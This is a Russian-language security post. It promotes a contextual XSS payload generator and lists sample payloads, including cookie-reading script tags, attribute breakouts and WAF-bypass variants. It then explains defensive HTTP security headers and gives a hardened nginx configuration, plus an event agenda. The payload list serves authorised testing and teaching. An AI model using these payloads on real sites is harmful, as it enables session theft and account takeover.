Это генератор контекстных XSS-payloads и использует уже составленную базу, сам ресурс заточен под реальные сценарии эксплуатации. В отличие от простых XSS-листов, здесь payloads разбиты по типу инъекции, контексту и применимости к конкретным защитам. Заметь, что это именно community-driven, который открыт для добавления нагрузок. Generator | GitHub

<!-- HTML-тег, нет WAF -->
<script>alert(document.cookie)</script>

<!-- Атрибут value, двойные кавычки закрыты -->
"onmouseover="alert(1)

<!— href-атрибут -->
javascript:alert(document.domain)

<!-- inline-JS, строка в одинарных кавычках -->
';alert(document.cookie)//

<!-- WAF блокирует <script> и alert() -->
<img src=x onerror=confirm`1`>
<svg/onload=eval(atob('YWxlcnQoMSk='))>
<details open ontoggle=alert(1)>

<!-- CSP блокирует inline-скрипты, но разрешает nonce -->
<script nonce="УГАДАННЫЙ_NONCE">alert(1)</script>

<!-- DOM-based, где параметр попадает в innerHTML -->
#<img src=1 onerror=alert(1)>

Только в рамках исследовательских целей и использования на основании тестов и обучения на своих стендах, лабораторных работ, а также с письменным разрешением (bug bounty scope, договор)

• Content-Security-Policy (CSP) — говорит браузеру, откуда можно грузить скрипты, стили, картинки, фреймы. Обрезает inline-JS и сторонние ресурсы, которые ты не контролируешь
• Strict-Transport-Security (HSTS) — запрещает браузеру заходить на сайт по HTTP, только HTTPS. После первого посещения браузер сам редиректит на HTTPS, даже если пользователь набрал http
• X-Frame-Options — запрещает встраивать страницу в <iframe> с чужих доменов. Защита от clickjacking. Устаревший, но всё ещё нужен для браузеров, которые поддерживаются на также устаревших девайсах. Используется в паре с CSP frame-ancestors
• X-Content-Type-Options — запрещает браузеру угадывать MIME-тип файла самостоятельно, так как без этого заголовка браузер может исполнить .jpg какJavaScript
• Referrer-Policy — контролирует, сколько информации о текущем URL уходит в заголовке Referer при переходе. Важно для страниц с токенами в URL или чувствительными путями
• Permissions-Policy — разрешает или запрещает доступ к API браузера (камера, микрофон, геолокация, fullscreen и т.д.) для самой страницы и для iframe

server {
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;

    # CSP — стартовая строгая политика
    add_header Content-Security-Policy "
        default-src 'self';
        script-src 'self';
        style-src 'self' 'unsafe-inline';
        img-src 'self'  https:;
        font-src 'self';
        connect-src 'self';
        frame-ancestors 'none';
        base-uri 'self';
        form-action 'self';
    " always;
}

# Через curl — смотрим headers ответа
curl -I https://example.com

# Подробнее — только security-relevant headers
curl -s -D - https://example.com -o /dev/null | grep -iE \
  "strict-transport|content-security|x-frame|x-content-type|referrer|permissions"

• Следует начинать с Content-Security-Policy-Report-Only — заголовок логирует нарушения, но ещё не блокирует. Смотришь логи и убираешь фолсы
• frame-ancestors 'none'  в CSP полностью заменяет X-Frame-Options: DENY
• Не ставить max-age у HSTS ниже одного года — иначе толку мало. preload добавляет сайт в браузерный preload list, после чего HTTPS будет обязательным ещё до первого запроса
• Permissions-Policy — прописывать явно, даже если запрещаешь всё: camera=(), microphone=(), payment=()

• Фундамент безопасности: DevSecOps-революция в банках
• Страховой щит: зрелые практики безопасности в страховом бизнесе
• Региональный импульс: развитие DevSecOps в регионах
• Открытые горизонты: Open Source в безопасности ПО
• Архитекторы безопасности: интеграция DevSecOps
• Технологический прорыв: новые горизонты безопасности ПО
• Новые герои безопасной разработки

• Виктор Бобыльков, директор по кибербезопасности MTS Web Services
• Сергей Демидов, заместитель председателя правления по ИБ ПАО «Московская биржа»
• Татьяна Билык, директор технологических проектов Ассоциации ФинТех
• Владимир Высоцкий, руководитель отдела по развитию бизнеса ПО Solar appScreener
• Федор Герасимов, DevSecOps Tech Lead, IT-Холдинг Т1
• Илья Шмаков, AppSec Teamlead ЛАНИТ